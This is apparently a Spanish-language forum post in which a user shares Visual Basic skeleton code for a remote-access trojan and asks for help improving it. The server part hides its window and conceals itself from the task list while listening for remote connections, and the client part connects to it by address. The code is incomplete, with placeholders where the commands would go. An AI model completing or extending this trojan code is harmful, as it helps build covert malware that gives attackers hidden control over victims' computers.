Bueno...pues ando algo confuso con esto de los troyanos...siempre me dan fallo...voy a postear aqui lo que realmente ace falta para que funcione un troyano
--CLIENTE--
Private Sub Command1_Click()
Winsock1.RemoteHost = Text1.Text
Winsock1.Connect
End Sub
Ir añadiendo opciones
--SERVER--
Private Sub Form_Load()
Me.Hide
App.TaskVisible = False
Winsock1.Listen
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accept requestID
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim abrir As String
Winsock1.GetData datos
Acciones
Eso esta bien?Se le puede poner mejor?
Alguna ayuda plis...